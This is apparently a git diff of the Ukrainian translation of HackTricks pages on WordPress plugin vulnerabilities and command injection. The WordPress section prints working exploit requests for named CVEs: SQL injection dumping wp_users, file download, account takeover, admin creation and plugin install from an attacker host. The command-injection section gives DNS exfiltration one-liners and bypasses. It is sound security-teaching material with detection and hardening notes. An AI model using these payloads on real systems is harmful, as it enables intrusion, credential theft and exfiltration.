privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. -Поради щодо захисту +Defensive notes -- Не покладайтеся на загальні сигнатури WAF для захисту CVE плагінів. Реалізуйте віртуальні патчі на рівні застосунку, специфічні для вразливості, або оновлюйтеся швидко. -- Віддавайте перевагу позитивним перевіркам безпеки в коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів. +- Не покладайтеся на generic WAF signatures для захисту plugin CVEs. Впроваджуйте application-layer, vulnerability-specific virtual patches або швидко оновлюйте. +- Надавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) над negative regex фільтрами. ## Захист WordPress -### Регулярні оновлення +### Regular Updates -Переконайтеся, що WordPress, плагіни та теми оновлені. Також перевірте, що автоматичне оновлення увімкнено в wp-config.php: +Переконайтеся, що WordPress, plugins і themes оновлені. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Крім того, **встановлюйте лише надійні плагіни та теми WordPress**. +Також **встановлюйте лише надійні плагіни та теми WordPress**. -### Плагіни безпеки +### Security Plugins - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) @@ -589,16 +589,15 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **Інші рекомендації** -- Видаліть користувача за замовчуванням **admin** +- Видаліть стандартного користувача **admin** - Використовуйте **надійні паролі** та **2FA** -- Періодично **перевіряйте** **дозволи** користувачів -- **Обмежте кількість спроб входу** для запобігання Brute Force атак -- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише зсередини мережі або з певних IP-адрес. +- Періодично **переглядайте** **права** користувачів +- **Обмежте кількість спроб входу**, щоб запобігти Brute Force-атакам +- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес. +### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2) -### Неавторизований SQL Injection через недостатню перевірку (WP Job Portal <= 2.3.2) - -Плагін WP Job Portal для підбору персоналу відкрив задачу **savecategory**, яка зрештою виконує наступний вразливий код у `modules/category/model.php::validateFormData()`: +Плагін WP Job Portal рекрутингу надав доступ до завдання **savecategory**, яке в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,11 +607,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Проблеми, які вносять цей фрагмент: +Проблеми, викликані цим фрагментом: -1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP-запиту. -2. **Конкатенація рядків у WHERE-умові** – відсутні `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** – `parentid` надходить безпосередньо з HTTP-запиту. +2. **String concatenation inside the WHERE clause** – відсутні `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що містить шорткод `[wpjobportal_my_resumes]`. #### Експлуатація @@ -620,7 +619,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Інжектувати довільний SQL, зловживаючи `parentid`: +2. Впровадити довільний SQL, використовуючи `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,20 +627,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує наявність SQLi. +Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Ще одна задача, **downloadcustomfile**, дозволяла відвідувачам завантажувати **будь-який файл на диску** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: +Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **any file on disk** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. +`$file_name` контролюється атакуючим і конкатенується **without sanitisation**. Знову ж, єдиний бар'єр — **CSRF nonce**, який можна отримати зі сторінки резюме. -#### Експлуатація +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -654,9 +653,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Багато тем/плагінів містять "social login" helpers, доступні через admin-ajax.php. Якщо unauthenticated AJAX action (wp_ajax_nopriv_...) довіряє client-supplied identifiers, коли provider data відсутні, і потім викликає wp_set_auth_cookie(), це перетворюється на full authentication bypass. +Багато тем/плагінів включають допоміжні скрипти "social login", доступні через admin-ajax.php. Якщо неаутентифікована AJAX дія (wp_ajax_nopriv_...) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це стає повним обходом автентифікації. -Типовий проблемний шаблон (спрощено) +Типовий вразливий патерн (спрощено) ```php public function check_login() { // ... request parsing ... @@ -685,17 +684,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -Why it’s exploitable +Чому це експлуатується -- Доступна без автентифікації через admin-ajax.php (дія wp_ajax_nopriv_…). -- Відсутні перевірки nonce/capability перед зміною стану. -- Відсутня верифікація провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника. -- get_user_by('email', $_POST['id']) у поєднанні з wp_set_auth_cookie($uid) автентифікують запитувача як будь-яку існуючу електронну адресу. +- Можливість доступу без автентифікації через admin-ajax.php (wp_ajax_nopriv_… action). +- Відсутні nonce/capability checks перед зміною стану. +- Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника. +- get_user_by('email', $_POST['id']) з наступним викликом wp_set_auth_cookie($uid) аутентифікує запитувача як будь-яку існуючу email-адресу. -Exploitation (unauthenticated) +Експлуатація (unauthenticated) -- Передумови: нападник має доступ до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача. -- Встановіть provider у непідтримуване значення (або опустіть його), щоб потрапити в гілку за замовчуванням і передати id=. +- Передумови: attacker може дістатися до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача. +- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -708,41 +707,41 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Очікувані індикатори успіху +Очікувані ознаки успіху -- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. +- HTTP 200 з JSON тілом як-от {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* для постраждалого користувача; подальші запити є автентифікованими. -Знаходження назви action +Знаходження імені action -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). -- Шукайте wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників. +- Перевірте тему/плагін на наявність реєстрацій add_action('wp_ajax_nopriv_...', '...') в коді social login (наприклад, framework/add-ons/social-login/class-social-login.php). +- Grep на наявність wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників. -Чекліст виявлення +Контрольний список виявлення -- Веб-логи, що показують неаутентифіковані POST-запити до /wp-admin/admin-ajax.php з action social-login і id=. -- 200-відповіді з success JSON безпосередньо перед аутентифікованим трафіком з тієї ж IP/User-Agent. +- Веб-логи, що показують неавтентифіковані POST-запити до /wp-admin/admin-ajax.php з дією social-login та id=. +- Відповіді 200 із success JSON безпосередньо перед автентифікованим трафіком з тієї ж IP/User-Agent. -Зміцнення +Зміцнення безпеки -- Не виводьте ідентичність із введення клієнта. Приймайте лише emails/IDs, що походять від перевіреного provider token/ID. -- Вимагайте CSRF nonces та перевірки capability навіть для login helpers; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно. -- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback на POST id). -- Розгляньте тимчасове відключення social login або віртуальне патчення на краю (блокувати вразливий action) доки не виправлено. +- Не виводьте ідентичність з вхідних даних клієнта. Приймайте лише email/ID, які походять від валідованого токена/ID провайдера. +- Вимагайте CSRF nonces та перевірок capability навіть для допоміжних логін-функцій; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно. +- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback до POST id). +- Розгляньте тимчасове відключення social login або віртуальне патчення на межі (блокування вразливої дії) до виправлення. -Поведінка після виправлення (Jobmonster 4.8.0) +Виправлена поведінка (Jobmonster 4.8.0) -- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +- Видалено небезпечний fallback із $_POST['id']; $user_email має походити з перевірених гілок провайдера в switch($_POST['using']). ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Деякі плагіни виставляють REST endpoints, які генерують багаторазові “connection keys” або токени без перевірки capability викликача. Якщо маршрут автентифікує лише за вгадуваним атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неаутентифікований атакувальник може згенерувати ключ і викликати привілейовані дії (створення admin-акаунту, дії плагіна → RCE). +Деякі плагіни відкривають REST-ендпоінти, які емісіюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неавтентифікований атакуючий може створити ключ і викликати привілейовані дії (створення облікового запису admin, дії плагінів → RCE). -- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection -- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback -- Impact: full takeover by chaining the minted key to internal privileged actions +- Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection +- Помилка: приймає username, видає connection key без current_user_can() або суворого permission_callback +- Наслідок: повне захоплення шляхом прив'язки емісованого ключа до внутрішніх привілейованих дій -PoC – згенеруйте connection key і використайте його +PoC – згенеруйте (mint) connection key і використайте його ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,54 +755,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Чому це експлойтабельно -- Чутливий REST route захищений тільки низькоентропійним підтвердженням особи (username) або відсутнім permission_callback -- Відсутня перевірка capability; створений ключ приймається як універсальний обхід +Why it’s exploitable +- Чутливий REST route захищений лише низькоентропійним доказом ідентичності (username) або відсутнім permission_callback +- Відсутня перевірка capability; згенерований ключ сприймається як універсальний обхід Detection checklist -- Шукати в коді плагіна register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Будь-який route, який видає tokens/keys на основі identity з запиту (username/email) без прив’язки до автентифікованого користувача або capability -- Шукати наступні маршрути, що приймають створений token/key без перевірок capability на сервері +- Grep код плагіна на register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Будь-який маршрут, що видає tokens/keys на основі identity, наданої в запиті (username/email), без прив'язки до автентифікованого користувача або capability +- Шукайте наступні маршрути, які приймають згенерований token/key без серверних перевірок capability Hardening -- Для будь-якого привілейованого REST route: вимагати permission_callback, який виконує current_user_can() для потрібної capability -- Не створюйте long-lived keys на основі identity, наданої клієнтом; за потреби видавайте short-lived, user-bound tokens після аутентифікації та перевіряйте capability при використанні -- Перевіряйте контекст користувача виклику (wp_set_current_user сам по собі недостатній) і відкидайте запити, де !is_user_logged_in() || !current_user_can() +- Для будь-якого привілейованого REST route: вимагайте permission_callback, який застосовує current_user_can() для потрібної capability +- Не створюйте довготривалі keys на основі identity, переданої клієнтом; якщо потрібно, видавайте короткоживучі, прив'язані до користувача tokens після автентифікації та повторно перевіряйте capability при використанні +- Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can() --- -## Nonce gate misuse → неаутентифікована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3) +## Зловживання Nonce gate → неавторизована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3) -Nonces захищають від CSRF, а не від авторизації. Якщо код сприймає проходження nonce як дозвіл і пропускає перевірки capability для привілейованих операцій (наприклад, install/activate plugins), неаутентифіковані атакувальники можуть виконати слабку перевірку nonce і досягти RCE, встановивши плагін із бекдором або вразливий плагін. +Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішну перевірку nonce як зелений сигнал і пропускає перевірки прав для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакуючі можуть задовольнити слабку вимогу nonce і досягти RCE, встановивши плагін з бекдором або уразливий плагін. -- Уразливий шлях: plugin/install_and_activate -- Вразливість: слабка перевірка nonce hash; відсутня current_user_can('install_plugins'|'activate_plugins') після того, як nonce «проходить» -- Наслідок: повне скомпрометування через довільну інсталяцію/активацію плагіна +- Vulnerable path: plugin/install_and_activate +- Недолік: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Наслідок: повне скомпрометування через довільне встановлення/активацію плагіна -PoC (форма залежить від плагіна; наведено ілюстративно) +PoC (форма залежить від плагіна; лише ілюстрація) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -Detection checklist +Чекліст виявлення - REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check - Any code path that sets $skip_caps = true after nonce validation -Hardening -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +Зміцнення +- Завжди трактуйте nonces як CSRF tokens тільки; вимагайте capability checks незалежно від стану nonce +- Вимагайте current_user_can('install_plugins') і current_user_can('activate_plugins') перед виконанням коду інсталятора +- Відхиляйте неавторизований доступ; уникайте експонування nopriv AJAX actions для привілейованих потоків --- -## Неаутентифікований SQLi через параметр s (search) в depicter-* actions (Depicter Slider ≤ 3.6.1) +## Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1) Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації. - Параметр: s (search) -- Вразливість: пряме конкатенування рядків у WHERE/LIKE клаузаx; відсутні prepared statements/санітизація -- Наслідок: екзфільтрація бази даних (users, hashes), lateral movement +- Вразливість: пряма конкатенація рядка в WHERE/LIKE clauses; no prepared statements/sanitization +- Вплив: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -812,38 +811,38 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -Контрольний список виявлення -- Grep для depicter-* action handlers та прямого використання $_GET['s'] або $_POST['s'] в SQL -- Перегляньте кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s +Detection checklist +- Шукати (grep) обробники дій depicter-* та пряме використання $_GET['s'] або $_POST['s'] в SQL +- Переглянути кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s -Підсилення захисту -- Завжди використовуйте $wpdb->prepare() або wpdb placeholders; відхиляйте небажані метасимволи на стороні сервера -- Додайте строгий allowlist для s і нормалізуйте до очікуваного charset/length +Hardening +- Завжди використовувати $wpdb->prepare() або wpdb-плейсхолдери; відкидати несподівані метасимволи на сервері +- Додати суворий allowlist для s і нормалізувати до очікуваної charset/length --- ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -Прийом шляхів, контрольованих атакувальником, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — code execution, якщо до runtime підтягуються includable PHP/log файли. +Прийняття шляхів, контрольованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо включені PHP/лог-файли потрапляють у середовище виконання. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: немає нормалізації/allowlisting; traversal дозволений -- Impact: розкриття секретів (wp-config.php), potential RCE у специфічних середовищах (log poisoning, includable PHP) +- Flaw: no normalization/allowlisting; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) -PoC – прочитати wp-config.php +PoC – read wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` -Detection checklist -- Будь-який handler, що конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath() -- Шукайте traversal-патерни (../), що виходять за межі призначеного каталогу templates +Чекліст виявлення +- Будь-який handler, який конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath() +- Шукати патерни traversal (../), які виходять за межі призначеної директорії templates -Hardening -- Застосувати allowlisted templates; визначайте шлях через realpath() і вимагайте str_starts_with(realpath(file), realpath(allowed_base)) -- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() тільки для імен файлів (не для повних шляхів) +Зміцнення +- Застосовувати allowlisted templates; вирішувати за допомогою realpath() і вимагати str_starts_with(realpath(file), realpath(allowed_base)) +- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() лише для імен файлів (не для повних шляхів) -## References +## Посилання - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 91487b6fd..7a3fed6f0 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Що таке command Injection? -A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою. +A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок і всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та базовою операційною системою. ### Контекст -Залежно від **того, куди вставляється ваше введення**, можливо, доведеться **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами. +Залежно від **де вставляється ваше введення** вам може знадобитися **завершити контекст у лапках** (використовуючи `"` або `'`) перед командами. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Обмеження** Bypasses -Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:** +Якщо ви намагаєтесь виконати **довільні команди всередині linux-машини**, вам буде цікаво прочитати про ці **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Параметри -Нижче — топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Нижче наведено топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -Extracting data: char by char +Витяг даних: символ за символом ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca +На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщено на dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Онлайн інструменти для перевірки DNS based data exfiltration: +Онлайн-інструменти для перевірки DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Обхід фільтрації #### Windows ``` @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` vs `execFile` +### Node.js `child_process.exec` проти `execFile` -Під час аудиту серверної частини на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API. +Під час аудиту бекендів на JavaScript/TypeScript ви часто натрапите на API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, що має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли введення користувача конкатенується в рядок. +`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, що має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …), призведе до **command injection**, якщо введення користувача конкатенується в рядок. -Запобігання: використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався: +**Запобігання:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб `shell` не брав участі: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 був вразливий через неавторизований WebSocket-подію, яка поміщала керовані атакуючим дані в `id_user`, що пізніше вставлялись у виклик `exec()`, досягаючи RCE (Pwn2Own Ireland 2024). -### Ін'єкція аргументів/опцій через ведучий дефіс (argv, no shell metacharacters) +### Ін'єкція аргументів/опцій через провідний дефіс (argv, без shell-метасимволів) -Не всі ін'єкції потребують shell metacharacters. Якщо застосунок передає неперевірені рядки як аргументи в системну утиліту (навіть через `execve`/`execFile` і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з `-` або `--`, як опцію. Це дозволяє атакуючому змінювати режими, змінювати шляхи виводу або викликати небезпечну поведінку, навіть не потрапляючи в shell. +Не всі ін'єкції вимагають shell-метасимволів. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть з `execve`/`execFile` і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з `-` або `--`, як опцію. Це дозволяє атакуючому змінювати режим роботи, шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell. Типові місця, де це зустрічається: -- Вбудовані web UIs/CGI handlers, які формують команди на кшталт `ping `, `tcpdump -i -w `, `curl `, тощо. -- Централізовані CGI маршрутизатори (наприклад, `/cgi-bin/.cgi` з параметром-селектором типу `topicurl=`), де кілька handler-ів використовують той самий слабкий валідатор. +- Вбудовані веб-UI/CGI-обробники, які формують команди типу `ping `, `tcpdump -i -w `, `curl `, тощо. +- Централізовані CGI-маршрутизатори (наприклад, `/cgi-bin/.cgi` з параметром селектора типу `topicurl=`), де кілька обробників повторно використовують один і той же слабкий валідатор. Що спробувати: -- Передавайте значення, що починаються з `-`/`--`, щоб утиліта, яка виконується, сприйняла їх як опції. -- Зловживайте опціями, що змінюють поведінку або записують файли, наприклад: +- Передавати значення, що починаються з `-`/`--`, щоб вони були спожиті як прапорці downstream-утилітою. +- Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад: - `ping`: `-f`/`-c 100000` щоб навантажити пристрій (DoS) -- `curl`: `-o /tmp/x` щоб записати довільні шляхи, `-K ` щоб завантажити attacker-controlled конфігурацію +- `curl`: `-o /tmp/x` щоб записати довільні шляхи, `-K ` щоб завантажити контрольований атакуючим конфіг - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` щоб досягти виконання після ротації в небезпечних обгортках -- Якщо програма підтримує `--` як кінець опцій, спробуйте обійти наївні пом'якшення, які додають `--` не в тому місці. +- Якщо програма підтримує `--` end-of-options, спробуйте обійти наївні пом'якшення, які додають `--` в неправильне місце. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -184,7 +184,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [PHP proc_open manual](https://www.php.net/manual/en/function/proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index c6b5295d0..0c1ff4982 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,55 +2,55 @@ {{#include ../banners/hacktricks-training.md}} -## Цінності HackTricks +## HackTricks Values > [!TIP] -> Це — **цінності проєкту HackTricks**: +> Це **цінності проєкту HackTricks**: > -> - Надавати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ hacking** ресурсів для **ВСЬОГО** Інтернету. -> - Hacking — це про навчання, і навчання має бути якомога вільним. -> - Метою цієї книги є слугувати як вичерпний **освітній ресурс**. -> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** усі **заслуги**. -> - **Ми не прагнемо чужих заслуг**, ми просто хочемо зберегти круті трюки для всіх. +> - Надавати **FREE** доступ до **EDUCATIONAL hacking** ресурсів для **ВСЬОГО** Інтернету. +> - Hacking — це про навчання, і навчання має бути максимально безкоштовним. +> - Мета цієї книги — слугувати як всеохопний **освітній ресурс**. +> - **STORE** чудові **hacking** техніки, які публікує спільнота, віддаючи **ORIGINAL AUTHORS** усі **визнання**. +> - **Ми не прагнемо привласнювати чужі заслуги**, ми просто хочемо зберегти круті трюки для всіх. > - Ми також пишемо **власні дослідження** в HackTricks. -> - У кількох випадках ми просто напишемо **в HackTricks скорочений виклад важливих частин** техніки і будемо **заохочувати читача відвідати оригінальний пост** за детальнішою інформацією. -> - **ОРГАНІЗОВУВАТИ** всі **hacking** техніки в книзі, щоб вона була **БІЛЬШ ДОСТУПНОЮ** -> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **вчитися швидше** +> - У багатьох випадках ми лише надамо **в HackTricks короткий огляд важливих частин** техніки та **закликатимемо читача перейти до оригінального допису** за деталями. +> - **ORGANIZE** всі техніки в книзі, щоб було **ЛЕГШЕ ДОСТУПНО** +> - Команда HackTricks присвятила тисячі годин безкоштовно **лише на організацію контенту**, щоб люди могли **вчитися швидше**
